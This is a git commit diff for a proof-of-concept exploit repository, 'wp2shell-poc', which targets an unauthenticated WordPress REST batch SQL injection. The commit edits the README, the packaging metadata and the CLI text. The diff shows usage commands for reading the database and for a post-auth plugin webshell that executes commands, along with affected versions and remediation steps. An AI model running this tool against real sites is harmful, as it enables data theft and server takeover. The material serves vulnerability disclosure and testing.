Fix versions

This commit is contained in:
Icex0
2026-07-18 02:04:58 +02:00
parent 1742aa3d19
commit f157decdb8
5 changed files with 44 additions and 32 deletions
+27 -23
View File
@@ -1,24 +1,25 @@
# wp2shell-poc
Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote
code execution, via REST batch route confusion (CVE-2026-63030).
Independent proof-of-concept for the unauthenticated WordPress REST batch route-confusion
SQL injection associated with Searchlight Cyber's wp2shell advisory.
The exploit needs no credentials and no configuration beyond a reachable target. It reaches the
injection through a single endpoint: `POST /wp-json/batch/v1`.
The unauthenticated primitive reaches the injection through a single endpoint:
`POST /wp-json/batch/v1`.
The finding itself is that unauthenticated SQL injection — `check` confirms it and `read`
demonstrates arbitrary database read. The `shell` command is optional post-exploitation
(recovered admin credentials → plugin upload → command execution), included to demonstrate full
impact; it is not the vulnerability.
This repository is not Searchlight Cyber's official checker and does not claim to reproduce
undisclosed wp2shell internals. `check` confirms the SQLi path, `read` demonstrates database
read, and `shell` is an optional post-authentication helper that requires valid administrator
credentials before uploading a plugin webshell.
## Affected versions
| Branch | Affected | Fixed in |
| ------ | ------------- | -------- |
| 6.9.x | 6.9.0 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 7.0.1 | 7.0.2 |
Searchlight Cyber's advisory lists these wp2shell RCE exposure ranges:
Versions before 6.9.0 are not affected by this chain.
| Version range | Status |
| ------------- | ------ |
| <= 6.8.5 | Not affected |
| 6.9.0 6.9.4 | Affected |
| 7.0.0 7.0.1 | Affected |
## How it works
@@ -42,9 +43,10 @@ The PoC nests the primitive twice:
dispatched under posts `get_items()`. There `author_exclude` maps to the `WP_Query`
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. With
database read access the administrator password hash can be recovered; once cracked, admin access
yields code execution through a plugin upload.
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
can use that database read path to recover administrator password hashes. Turning those hashes into
plugin-upload code execution is outside the unauthenticated primitive and depends on obtaining valid
administrator credentials.
## Requirements
@@ -80,10 +82,11 @@ generator, the homepage generator meta tag, and core asset `?ver=` query strings
./wp2shell.py read http://target --query "SELECT @@version"
```
### shell — execute a command (remote code execution)
### shell — post-auth plugin webshell helper
Optional post-exploitation. Requires valid administrator credentials; the injection recovers the
password *hash*, so supply the recovered plaintext here.
Optional post-exploitation helper. This is not a pre-authentication RCE step: it requires valid
administrator credentials. If `read --preset users` recovers a password hash, supply the recovered
plaintext here after offline cracking.
```
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
@@ -112,9 +115,10 @@ path. Remove it when finished.
## Remediation
Update to WordPress 6.9.5 or 7.0.2. Until then, block both `/wp-json/batch/v1` and the
`rest_route=/batch/v1` query parameter at the edge, or require authentication for the batch
endpoint via the `rest_pre_dispatch` filter.
Update to WordPress 7.0.2, or 6.9.5 if the site is on the 6.9 branch. Until then,
block both `/wp-json/batch/v1` and the `rest_route=/batch/v1` query parameter at
the edge, or require authentication for the batch endpoint via the
`rest_pre_dispatch` filter.
## Legal
@@ -124,4 +128,4 @@ written permission to test. No warranty is provided and no liability is accepted
## References
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
- CVE-2026-63030
- Searchlight Cyber wp2shell advisory — <https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/>
+2 -2
View File
@@ -5,11 +5,11 @@ build-backend = "setuptools.build_meta"
[project]
name = "wp2shell-poc"
version = "1.0.0"
description = "PoC for the WordPress REST batch route-confusion SQL injection to RCE chain (CVE-2026-63030)."
description = "PoC for the WordPress REST batch route-confusion SQL injection associated with wp2shell."
readme = "README.md"
requires-python = ">=3.8"
license = { text = "MIT" }
keywords = ["wordpress", "rest-api", "sql-injection", "rce", "security", "cve-2026-63030"]
keywords = ["wordpress", "rest-api", "sql-injection", "wp2shell", "security"]
classifiers = [
"Environment :: Console",
"Intended Audience :: Information Technology",
+1 -1
View File
@@ -1,3 +1,3 @@
"""wp2shell PoC for the WordPress REST batch route-confusion SQLi/RCE chain (CVE-2026-63030)."""
"""wp2shell - PoC for the WordPress REST batch route-confusion SQLi."""
__version__ = "1.0.0"
+8 -6
View File
@@ -11,7 +11,7 @@ from . import __version__
from .client import BatchClient
from .shell import AdminSession
from .sqli import BlindSQLi
from .version import public_version_hints
from .version import public_version_hints, version_status
try:
import readline # noqa: F401 - enables line editing/history for the interactive prompt
@@ -77,10 +77,12 @@ def _print_version_hints(client: BatchClient) -> None:
info("Public WordPress version hints:")
for hint in hints:
status = "affected range" if hint.affected else "not in affected ranges"
print(f" - {hint.version} via {hint.source} ({status}) - {_short(hint.detail)}")
print(
f" - {hint.version} via {hint.source} "
f"({version_status(hint.version)}) - {_short(hint.detail)}"
)
if any(hint.affected for hint in hints):
warn("A public version hint falls in the affected range; verify internally or confirm with authorization.")
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
# -- commands ---------------------------------------------------------------
@@ -246,7 +248,7 @@ def _add_common(parser: argparse.ArgumentParser) -> None:
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
prog="wp2shell",
description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
description="WordPress REST batch route-confusion SQLi PoC associated with wp2shell.",
)
parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
sub = parser.add_subparsers(dest="command", required=True)
@@ -276,7 +278,7 @@ def build_parser() -> argparse.ArgumentParser:
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
read.set_defaults(func=cmd_read)
shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
shell = sub.add_parser("shell", help="post-auth plugin webshell helper")
_add_common(shell)
shell.add_argument("--user", required=True, help="admin username")
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
+6
View File
@@ -97,6 +97,12 @@ def is_affected_version(version: str) -> bool:
return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1)
def version_status(version: str) -> str:
if is_affected_version(version):
return "wp2shell affected range"
return "not in wp2shell affected ranges"
def _get(client: BatchClient, path: str):
try:
return client.get(path)